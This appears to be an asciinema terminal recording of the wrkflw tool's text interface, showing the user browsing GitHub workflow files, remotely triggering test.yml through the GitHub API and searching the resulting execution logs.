[15.03897, "o", "10;123H\u001b[38;5;8m.github/workflows/build.yml \u001b[10;244H\u001b[39m│ \u001b[11;1H │ \u001b[38;5;2m \u001b[39m \u001b[38;5;7m○ \u001b[39m r\u001b[11;16Hlease.yml\u001b[11;26H \u001b[11;123H\u001b[38;5;8m.github/workflows/release.yml \u001b[11;244H\u001b[39m│ \u001b[12;1H │ \u001b[38;5;2m \u001b[39m \u001b[38;5;7m○ \u001b[12;14H\u001b[39mrust.yml\u001b[12;23H \u001b[12;32H \u001b[12;34H \u001b[12;39H \u001b[12;43H \u001b[12;123H\u001b[38;5;8m.github/workflows/rust.yml \u001b[12;244H\u001b[39m│ \u001b[13;1H │\u001b[1m\u001b[48;5;8m» \u001b[38;5;2m \u001b[39m \u001b[38;5;2m✅\u001b[13;11H \u001b[39m test.yml \u001b[38;5;8m.github/workflows/test.yml \u001b[39m \u001b[22m\u001b[49m│ \u001b[14;1H │\u001b[14;4H \u001b[14;6H \u001b[14;13H "]
|
||||
[15.039013, "o", "\u001b[14;17H \u001b[14;244H│ \u001b[15;1H │\u001b[15;4H \u001b[15;6H \u001b[15;13H \u001b[15;21H \u001b[15;28H \u001b[15;32H \u001b[15;42H \u001b[15;244H│ \u001b[16;1H │\u001b[16;4H \u001b[16;6H \u001b[16;13H \u001b[16;21H \u001b[16;31H \u001b[16;35H \u001b[16;46H \u001b[16;244H│ \u001b[17;1H │\u001b[17;4H \u001b[17;6H \u001b[17;15H \u001b[17;19H \u001b[17;244H│ \u001b[18;1H │ \u001b[18;10H \u001b[18;12H \u001b[18;18H \u001b[18;27H \u001b[18;34H \u001b[18;37H \u001b[18;43H \u001b[18;244H│ \u001b[19;1H │ \u001b[19;6H \u001b[19;8H \u001b[19;13H \u001b[19;15H \u001b[19;20H \u001b[19;29H \u001b[19;244H│ \u001b[20;1H │\u001b[20;4H \u001b[20;6H \u001b[20;13H \u001b[20;18H \u001b[20;244H│ \u001b[21;1H │\u001b[21;4H \u001b[21;6H \u001b[21;11H \u001b[21;244H│ \u001b[22;1H │\u001b[22;4H \u001b[22;6H \u001b[22;14H \u001b[22;23H \u001b[22;244H│ \u001b[23;1H │\u001b[23;244H│ \u001b[24;1H │ \u001b[24;244H│ \u001b[25;1H │\u001b[25;244H│ \u001b[26;1H │ \u001b[26;9H \u001b[26;11H \u001b[26;16H \u001b[26;23H \u001b[26;26H \u001b[26;30H \u001b[26;40H \u001b[26;244H│ \u001b[27;1H │ \u001b[27;12H \u001b[27;14H \u001b[27;23H "]
|
||||
[15.039042, "o", " \u001b[27;30H \u001b[27;38H \u001b[27;50H \u001b[27;58H \u001b[27;62H \u001b[27;69H \u001b[27;244H│ \u001b[28;1H │\u001b[28;244H│ \u001b[29;1H │ \u001b[29;244H│ \u001b[30;1H │\u001b[30;244H│ \u001b[31;1H │ \u001b[31;17H \u001b[31;19H \u001b[31;26H \u001b[31;34H \u001b[31;244H│ \u001b[32;1H │ \u001b[32;16H \u001b[32;18H \u001b[32;26H \u001b[32;33H \u001b[32;244H│ \u001b[33;1H │ \u001b[33;6H \u001b[33;8H \u001b[33;17H \u001b[33;25H \u001b[33;244H│ \u001b[34;1H │\u001b[34;4H \u001b[34;6H \u001b[34;13H \u001b[34;18H \u001b[34;22H \u001b[34;27H \u001b[34;244H│ \u001b[35;1H │\u001b[35;4H \u001b[35;6H \u001b[35;13H \u001b[35;17H \u001b[35;24H \u001b[35;28H \u001b[35;33H \u001b[35;244H│ \u001b[36;1H │\u001b[36;4H \u001b[36;6H \u001b[36;12H \u001b[36;16H \u001b[36;30H \u001b[36;34H \u001b[36;39H \u001b[36;244H│ \u001b[37;1H │ \u001b[37;6H \u001b[37;8H \u001b[37;17H \u001b[37;25H \u001b[37;30H \u001b[37;33H \u001b[37;40H \u001b[37;48H \u001b[37;52H \u001b[37;57H \u001b[37;244H│ \u001b[38;1H │\u001b[38;244H│ \u001b[39;1H │\u001b[39;244H│ \u001b[40;1H │\u001b[40;244H│ \u001b[41;1H │\u001b[41;244H│ \u001b[42;1H │\u001b[42;244H│ \u001b[43;"]
|
||||
[15.03909, "o", "1H │\u001b[43;244H│ \u001b[44;1H │\u001b[44;244H│ \u001b[45;1H │\u001b[45;244H│ \u001b[46;1H │\u001b[46;244H│ \u001b[47;1H │\u001b[47;244H│ \u001b[48;1H │\u001b[48;244H│ \u001b[49;1H │\u001b[49;244H│ \u001b[50;1H │\u001b[50;244H│ \u001b[51;1H │\u001b[51;244H│ \u001b[52;1H │\u001b[52;244H│ \u001b[53;1H │\u001b[53;244H│ \u001b[54;1H │\u001b[54;244H│ \u001b[55;1H │\u001b[55;244H│ \u001b[56;1H │\u001b[56;244H│ \u001b[57;1H │\u001b[57;244H│ \u001b[58;1H ╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[15.039154, "o", "──────────────────────╯ \u001b[59;1H \u001b[60;27H\u001b[38;5;15m\u001b[48;5;8mSpace] Toggle sel\u001b[60;45Hction \u001b[60;52H [Enter] Run\u001b[60;65Hselected \u001b[60;75H [r]\u001b[60;80HRun all selected [Shift+R] Reset workflow \u001b[60;125H [Tab] Switch tabs [?] Help [q] Quit \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.096119, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.153199, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.210201, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.268043, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.325703, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.383427, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.441238, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.499029, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.53065, "o", "\u001b[2;3H\u001b[4m\u001b[38;5;3mW\u001b[24m\u001b[38;5;15morkflows\u001b[2;15H\u001b[1m\u001b[38;5;3m\u001b[48;5;8mE\u001b[4mx\u001b[24mecution\u001b[5;3H\u001b[22m\u001b[49m Job Details (1/1) \u001b[6;3H\u001b[38;5;4mJob: \u001b[1m\u001b[38;5;15mGitHub Trigger\u001b[6;114H\u001b[22m\u001b[39m \u001b[7;2H│\u001b[38;5;4mStatus: \u001b[38;5;2mSuccess\u001b[39m │\u001b[8;2H╰───────────\u001b[8;244H╯\u001b[9;2H╭\u001b[38;5;3m Steps \u001b[39m───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[15.530721, "o", "───────────────────────────────────────────────────────────────────────────────────╮\u001b[10;3H\u001b[1m \u001b[38;5;3mStatus \u001b[39m \u001b[38;5;3mStep Name \u001b[39m \u001b[38;5;3mDuration \u001b[39m \u001b[11;3H\u001b[22m\u001b[48;5;8m» \u001b[38;5;2m✅\u001b[11;7H \u001b[39m Remote Trigger \u001b[38;5;8m1s \u001b[39m \u001b[12;5H\u001b[49m \u001b[12;9H \u001b[12;14H \u001b[12;123H \u001b[13;3H "]
|
||||
[15.530829, "o", " \u001b[15;2H╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[16;2H╭\u001b[38;5;3m Output \u001b[39m─────────"]
|
||||
[15.530902, "o", "────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮\u001b[17;3HWorkflow\u001b[17;12Htriggered\u001b[17;22Hsuccessfully.\u001b[17;36HView\u001b[17;41Hit\u001b[17;44Hat:\u001b[17;48Hhttps://github.com/bahdotsh/wrkflw/actions/workflows/test.yml.yml\u001b[60;27H\u001b[38;5;15m\u001b[48;5;8mEsc] Back to jobs [↑/↓]\u001b[60;53HNavigate steps \u001b[39m \u001b[38;5;15m [Tab]\u001b[60;76HSwitch t\u001b[60;85Hbs\u001b[60;88H [?] H\u001b[60;95Hlp\u001b[60;100Hq] Quit \u001b[39m \u001b"]
|
||||
[15.530947, "o", "[60;125H \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.58799, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.644879, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.702017, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.737702, "o", "\u001b[2;15H\u001b[38;5;15mE\u001b[4m\u001b[38;5;3mx\u001b[24m\u001b[38;5;15mecution\u001b[2;27H\u001b[1m\u001b[4m\u001b[38;5;3m\u001b[48;5;8mL\u001b[24mogs\u001b[5;3H\u001b[22m\u001b[39m\u001b[49m───────────────────\u001b[6;3H \u001b[6;111H\u001b[1m\u001b[38;5;3mExecution and System Logs\u001b[7;2H\u001b[22m\u001b[39m╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[8;2H╭\u001b[38;5;3m Search & Filter"]
|
||||
[15.737769, "o", " \u001b[8;244H\u001b[39m╮\u001b[9;2H│Search: \u001b[38;5;7mFilter: ALL\u001b[39m │\u001b[10;2H╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[11"]
|
||||
[15.737808, "o", ";2H╭\u001b[38;5;3m Logs (1/11) \u001b[39m────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮\u001b[12;3H\u001b[1m\u001b[38;5;3mTime \u001b[39m \u001b[38;5;3mType \u001b[39m \u001b[38;5;3mMessage \u001b[39m \u001b[13;3H\u001b["]
|
||||
[15.737869, "o", "22m\u001b[48;5;8m19:10:30 \u001b[38;5;5mTRIG \u001b[39m Triggering workflow: test.yml \u001b[14;3H\u001b[49m19:10:30\u001b[14;14H\u001b[38;5;2mSUCCESS\u001b[14;22H\u001b[39mWorkflow\u001b[14;31H'test.yml'\u001b[14;42Hcompleted\u001b[14;52Hsuccessfully!\u001b[15;2H│19:10:30 \u001b[38;5;7mINFO \u001b[39m All workflows completed execution │\u001b[16;2H│19:10:26 \u001b[38;5;6mINFO \u001b[39m 🔍\u001b[16;24H Docker daemon is running but ping failed. Docker may not be properly configured. │\u001b[17;3H19:10:26\u001b[17;12H \u001b[38;5;3mWARN \u001b[17;22H\u001b[39m⚠️\u001b[17;24H Docker is not avail\u001b["]
|
||||
[15.737941, "o", "17;45Hble. Using emulation mode in\u001b[17;74Htead. \u001b[18;3H19:10:30\u001b[18;14H\u001b[38;5;5mTRIG \u001b[18;22H\u001b[39mℹ️\u001b[18;25HTriggering\u001b[18;36Hworkflow:\u001b[18;46Htest.yml\u001b[19;3H19:10:30\u001b[19;14H\u001b[38;5;7mINFO \u001b[19;22H\u001b[39mℹ️\u001b[19;25HGITHUB_TOKEN\u001b[19;38His\u001b[19;41Hset:\u001b[19;46Hgithu\u001b[20;3H19:10:30\u001b[20;14H\u001b[38;5;5mTRIG \u001b[20;22H\u001b[39mℹ️\u001b[20;25HTriggering\u001b[20;36Hworkflow\u001b[20;45Hwith\u001b[20;50HURL:\u001b[20;55Hhttps://api.github.com/repos/bahdotsh/wrkflw/actions/workflows/test.yml/dispatches\u001b[20;138Hand\u001b[20;142Hpayload:\u001b[20;151H{\"ref\":\"main\"}\u001b[21;3H19:10:30\u001b[21;14H\u001b[38;5;7mINFO \u001b[21;22H\u001b[39mℹ️\u001b[21;25HCurl\u001b[21;30Hcommand\u001b[21;38Hsucceeded:\u001b[22;3H19:10:30\u001b[22;14H\u001b[38;5;2mSUCCESS\u001b[22;22H\u001b[39mℹ️\u001b[22;25H[19:10:30]\u001b[22;36HWorkflow\u001b[22;45H'test.yml'\u001b[22;56Hcompleted\u001b[22;66Hsuccessfully!\u001b[23;3H19:10:30\u001b[23;14H\u001b[38;5;7mINFO \u001b[23;22H\u001b[39mℹ️\u001b[23;25HAll\u001b[23;29Hworkflows\u001b[23;39Hcompleted\u001b[23;49Hexecution\u001b[60;27H\u001b[38;5;15m\u001b[48;5;8m↑/↓\u001b[60;32HScroll logs (1/11) [s] Search\u001b[60;62H[f] Filter \u001b["]
|
||||
[15.737982, "o", "39m \u001b[38;5;15m [Tab] Switch\u001b[60;88Htabs\u001b[60;93H [?]\u001b[60;98HHelp\u001b[60;103H [q]\u001b[60;108HQuit \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.795097, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.852617, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.909603, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[15.967249, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.024929, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.082363, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.13974, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.197311, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.254926, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.312447, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.370058, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.427676, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.485235, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.542901, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.600569, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.658027, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.715622, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.773173, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.830894, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.888514, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.94615, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.003732, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.061265, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.118722, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.176174, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.233644, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.291213, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.348857, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.406498, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.463809, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.486061, "o", "\u001b[9;11H█\u001b[9;14H \u001b[38;5;7mFilter: A\u001b[9;25HL\u001b[9;29H\u001b[38;5;5mMatches: 1/11\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.543159, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.600769, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.658014, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.715642, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.773148, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.830893, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.888562, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.946234, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.003868, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.061509, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.119186, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.129327, "o", "\u001b[9;11Ha█\u001b[9;15H \u001b[38;5;7mFilter: A\u001b[9;26HL\u001b[9;29H\u001b[39m \u001b[38;5;5mMatches: 1/6\u001b[11;10H\u001b[38;5;3m3\u001b[11;12H6) \u001b[39m─\u001b[13;14H\u001b[38;5;7m\u001b[48;5;8mINFO \u001b[13;22H\u001b[38;5;0mA\u001b[39mll wo\u001b[13;29Hkflo\u001b[13;34Hs completed execution\u001b[14;9H\u001b[49m26\u001b[14;14H\u001b[38;5;6mINFO \u001b[14;22H\u001b[39m🔍\u001b[14;24H Docker d\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49memon is\u001b[14;42Hrunning but ping \u001b[14;60H\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mi\u001b[14;63Hed.\u001b[14;67HDocker\u001b[14;74Hm\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49my\u001b[14;78Hnot\u001b[14;82Hbe\u001b[14;85Hproperly\u001b[14;94Hconfigured.\u001b[15;9H26\u001b[15;14H\u001b[38;5;3mWARN \u001b[15;22H\u001b[39m⚠️\u001b[15;24H Docker is not \u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mv\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mil\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mble. Us\u001b[15;53Hng\u001b[15;56Hemul\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mtion\u001b[15;66Hmode\u001b[15;71Hinste\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49md.\u001b[16;9H30\u001b[16;14H\u001b[38;5;5mTRIG \u001b[16;22H\u001b[39mℹ️\u001b[16;25HTriggering workflow w\u001b[16;47Hth\u001b[16;50HURL: https://\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mpi.github.com/repos/b\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mhdotsh/wrkflw/\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b["]
|
||||
[18.129426, "o", "49mctions/workflows/test.yml/disp\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mtches\u001b[16;138H\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mnd\u001b[16;142Hp\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mylo\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49md:\u001b[16;151H{\"ref\":\"m\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49min\"}\u001b[17;9H30\u001b[17;14H\u001b[38;5;7mINFO \u001b[17;22H\u001b[39mℹ️\u001b[17;25HCurl comm\u001b[38;5;0m\u001b[48;5;3ma\u001b[17;36H\u001b[39m\u001b[49md succeeded: \u001b[17;50H \u001b[17;56H \u001b[17;66H \u001b[17;71H \u001b[18;14H\u001b[38;5;7mINFO \u001b[18;25H\u001b[38;5;0m\u001b[48;5;3mA\u001b[39m\u001b[49mll wo\u001b[18;32Hkflo\u001b[18;37Hs completed execution\u001b[19;3H \u001b[19;14H \u001b[19;22H \u001b[19;25H \u001b[19;38H \u001b[19;41H \u001b[19;46H \u001b[20;3H \u001b[20;14H \u001b[20;22H \u001b[20;25H \u001b[20;36H \u001b[20;45H \u001b[20;50H \u001b[20;55H \u001b[20;138H \u001b[20;142H \u001b[20;151H \u001b[21;3H \u001b[21;14H \u001b[21;22H \u001b[21;25H \u001b[21;30H \u001b[21;38H \u001b[22;3H \u001b[22;14H \u001b[22;22H \u001b[22;25H \u001b[22;36H \u001b[22;45H "]
|
||||
[18.1295, "o", " \u001b[22;56H \u001b[22;66H \u001b[23;3H \u001b[23;14H \u001b[23;22H \u001b[23;25H \u001b[23;29H \u001b[23;39H \u001b[23;49H \u001b[60;1H \u001b[1m\u001b[38;5;15m\u001b[48;5;1m Found 6 matches for 'a' \u001b[22m\u001b[39m\u001b[49m \u001b[61;1H \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.185955, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.216388, "o", "\u001b[9;12Hs█\u001b[9;16H \u001b[38;5;7mFilter: A\u001b[9;27HL\u001b[9;30H\u001b[39m \u001b[38;5;5mNo matches\u001b[39m \u001b[11;10H\u001b[38;5;3m0\u001b[11;12H0\u001b[13;3H\u001b[39m \u001b[14;3H \u001b[14;14H \u001b[14;22H \u001b[14;25H \u001b[14;32H \u001b[14;39H \u001b[14;42H \u001b[14;50H \u001b[14;54H \u001b[14;59H \u001b[14;67H \u001b[14;74H \u001b[14;78H \u001b[14;82H \u001b[14;85H \u001b[14;94H \u001b[15;3H \u001b[15;14H \u001b[15;22H \u001b[15;25H \u001b[15;32H \u001b[15;35H \u001b[15;39H \u001b[15;50H \u001b[15;56H \u001b[15;66H \u001b[15;71H \u001b[16;3H \u001b[16;14H \u001b[16;22H \u001b[16;25H \u001b[16;36H \u001b[16;45H \u001b[16;50H \u001b[16;55H \u001b[16;138H \u001b[16;142H \u001b[16;151H \u001b[17;3H \u001b[17;14H \u001b[17;22H \u001b[17;25H \u001b[17;"]
|
||||
[18.216402, "o", "30H \u001b[17;38H \u001b[18;3H \u001b[18;14H \u001b[18;22H \u001b[18;25H \u001b[18;29H \u001b[18;39H \u001b[18;49H \u001b[60;110H\u001b[1m\u001b[38;5;15m\u001b[48;5;1m No matches found\u001b[60;134Hs' \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.272795, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.304576, "o", "\u001b[9;13Hd█\u001b[9;17H \u001b[38;5;7mFilter: A\u001b[9;28HL\u001b[9;31H\u001b[39m \u001b[38;5;5mNo matches\u001b[60;109H\u001b[1m\u001b[38;5;15m\u001b[48;5;1m No matches found for 'asd\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.360647, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.416951, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.473822, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.530651, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.587964, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.644855, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.701728, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.758553, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.815508, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.848782, "o", "\u001b[9;13H█ \u001b[9;17H\u001b[38;5;7mFilter: AL\u001b[9;28H\u001b[39m \u001b[9;31H\u001b[38;5;5mNo matches\u001b[39m \u001b[60;109H \u001b[1m\u001b[38;5;15m\u001b[48;5;1m No matches found for 'as\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.905703, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.962496, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.019717, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.07724, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.083538, "o", "\u001b[9;12H█ \u001b[9;16H\u001b[38;5;7mFilter: AL\u001b[9;27H\u001b[39m \u001b[9;30H\u001b[38;5;5mMatches: 1/6\u001b[11;10H\u001b[38;5;3m3\u001b[11;12H6\u001b[13;3H\u001b[39m\u001b[48;5;8m19:10:30 \u001b[38;5;7mINFO \u001b[39m \u001b[38;5;0mA\u001b[39mll workflows completed execution \u001b[14;3H\u001b[49m19:10:26\u001b[14;14H\u001b[38;5;6mINFO \u001b[14;22H\u001b[39m🔍\u001b[14;25HDocker\u001b[14;32Hd\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49memon\u001b[14;39His\u001b[14;42Hrunning\u001b[14;50Hbut\u001b[14;54Hping\u001b[14;59Hf\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49miled.\u001b[14;67HDocker\u001b[14;74Hm\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49my\u001b[14;78Hnot\u001b[14;82Hbe\u001b[14;85Hproperly\u001b[14;94Hconfigured.\u001b[15;3H19:10:26\u001b[15;14H\u001b[38;5;3mWARN \u001b[15;22H\u001b[39m⚠️\u001b[15;25HDocker\u001b[15;32His\u001b[15;35Hnot\u001b[15;39H\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mv\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mil\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mble.\u001b[15;50HUsing\u001b[15;56Hemul\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mtion\u001b[15;66Hmode\u001b[15;71Hinste\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49md.\u001b["]
|
||||
[19.083585, "o", "16;3H19:10:30\u001b[16;14H\u001b[38;5;5mTRIG \u001b[16;22H\u001b[39mℹ️\u001b[16;25HTriggering\u001b[16;36Hworkflow\u001b[16;45Hwith\u001b[16;50HURL:\u001b[16;55Hhttps://\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mpi.github.com/repos/b\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mhdotsh/wrkflw/\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mctions/workflows/test.yml/disp\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mtches\u001b[16;138H\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mnd\u001b[16;142Hp\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mylo\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49md:\u001b[16;151H{\"ref\":\"m\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49min\"}\u001b[17;3H19:10:30\u001b[17;14H\u001b[38;5;7mINFO \u001b[17;22H\u001b[39mℹ️\u001b[17;25HCurl\u001b[17;30Hcomm\u001b[38;5;0m\u001b[48;5;3ma\u001b[39m\u001b[49mnd\u001b[17;38Hsucceeded:\u001b[18;3H19:10:30\u001b[18;14H\u001b[38;5;7mINFO \u001b[18;22H\u001b[39mℹ️\u001b[18;25H\u001b[38;5;0m\u001b[48;5;3mA\u001b[39m\u001b[49mll\u001b[18;29Hworkflows\u001b[18;39Hcompleted\u001b[18;49Hexecution\u001b[60;110H \u001b[1m\u001b[38;5;15m\u001b[48;5;1m Found 6 matches\u001b[60;134H' \u001b[22m\u001b[39m\u001b[49m \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.140099, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.196868, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.253971, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
